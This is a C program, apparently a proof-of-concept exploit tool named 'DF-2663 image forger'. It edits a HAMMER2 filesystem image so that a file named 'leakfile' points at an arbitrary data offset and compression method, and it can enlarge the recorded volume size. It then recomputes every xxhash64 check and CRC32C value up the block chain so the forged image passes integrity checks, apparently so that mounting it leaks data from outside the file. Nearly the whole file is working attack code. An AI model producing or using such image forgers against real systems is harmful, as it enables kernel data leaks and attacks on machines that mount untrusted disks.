DF-2663 / forge2663.c
/* DF-2663 image forger: retarget leakfile's DATA blockref + fix CRC cascade. * Verified block map (base.img, newfs_hammer2 -L leakfs, 256MB): * volhdr sroot bref @ 0x000200 (check.xxhash64 @ 0x000240) covers 0x1800c00..+1024 (SUPROOT inode) * SUPROOT blockset slot0 @ 0x1800e00 ("leakfs" PFS bref, check @ 0x1800e40) covers 0x1800800..+1024 (PFS root/iroot inode) * iroot blockset slot0 @ 0x1800a00 (leakfile INODE bref, check @ 0x1800a40) covers 0x1800000..+1024 (file inode block) * file inode blockset[0] @ 0x1800200 (DATA bref, data_off=0x1c00010, methods=0x30) */ #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #define XXH_STATIC_LINKING_ONLY #include "xxhash.h" #define SEED 0x4d617474446c6c6eULL static uint32_t crc32c_table[256]; static void crc32c_init(void) { for (uint32_t n = 0; n < 256; n++) { uint32_t c = n; for (int k = 0; k < 8; k++) c = (c >> 1) ^ ((c & 1) ? 0x82F63B78u : 0); crc32c_table[n] = c; } } static uint32_t crc32c(const unsigned char *b, size_t n) { uint32_t crc = 0xFFFFFFFFu; for (size_t i = 0; i < n; i++) crc = crc32c_table[(crc ^ b[i]) & 0xFF] ^ (crc >> 8); return crc ^ 0xFFFFFFFFu; } static unsigned char *img; static size_t imglen; static void put64(long off, uint64_t v) { memcpy(img + off, &v, 8); } static uint64_t get64(long off) { uint64_t v; memcpy(&v, img + off, 8); return v; } static void fix_inode_check(long block, long checkoff) { uint64_t v = XXH64(img + block, 1024, SEED); put64(checkoff, v); printf("check@%#lx (block %#lx) = %016llx\n", checkoff, block, (unsigned long long)v); } static void fix_volhdr_crcs(long v) { /* icrc_sects[6] (sect1) @ 0x1E0+6*4, [7] (sect0) @ 0x1E0+7*4, icrc_volheader @ 0xFFFC */ uint32_t c1 = crc32c(img + v + 512, 512); memcpy(img + v + 0x1E0 + 6*4, &c1, 4); /* write sect1 icrc first */ uint32_t c0 = crc32c(img + v + 0, 512 - 4); /* covers icrc_sects[6] */ memcpy(img + v + 0x1E0 + 7*4, &c0, 4); uint32_t cv = crc32c(img + v + 0, 65536 - 4); /* covers everything else */ memcpy(img + v + 0xFFFC, &cv, 4); } int main(int argc, char **argv) { if (argc < 6) { fprintf(stderr, "usage: %s in.img out.img new_data_off new_methods new_volu_size\n", argv[0]); return 2; } crc32c_init(); FILE *f = fopen(argv[1], "rb"); fseek(f, 0, SEEK_END); imglen = ftell(f); fseek(f, 0, SEEK_SET); img = malloc(imglen); if (fread(img, 1, imglen, f) != imglen) { perror("read"); return 1; } fclose(f); uint64_t new_doff = strtoull(argv[3], NULL, 0); unsigned new_methods = strtoul(argv[4], NULL, 0) & 0xff; uint64_t new_size = strtoull(argv[5], NULL, 0); /* sanity: the DATA bref we expect */ if (img[0x1800200] != 3 || get64(0x1800220) != 0x1c00010ull) { fprintf(stderr, "unexpected layout: type=%u doff=%016llx\n", img[0x1800200], (unsigned long long)get64(0x1800220)); return 1; } /* 1. retarget the DATA bref */ img[0x1800201] = new_methods; put64(0x1800220, new_doff); printf("DATA bref @0x1800200 -> data_off=%016llx methods=%02x\n", (unsigned long long)new_doff, new_methods); /* 2. CRC cascade up the inode chain */ fix_inode_check(0x1800000, 0x1800a40); fix_inode_check(0x1800800, 0x1800e40); /* 3. volhdr: sroot check + optional volu_size/total_size + icrcs */ fix_inode_check(0x1800c00, 0x240); if (new_size) { put64(0x28, new_size); /* volu_size */ put64(0xC0, new_size); /* total_size (v2) */ printf("volu_size/total_size -> %016llx\n", (unsigned long long)new_size); } fix_volhdr_crcs(0); /* verify with kernel xxhash */ printf("verify 0x1800000: %016llx (stored %016llx)\n", (unsigned long long)XXH64(img + 0x1800000, 1024, SEED), (unsigned long long)get64(0x1800a40)); f = fopen(argv[2], "wb"); fwrite(img, 1, imglen, f); fclose(f); printf("wrote %s\n", argv[2]); return 0; } |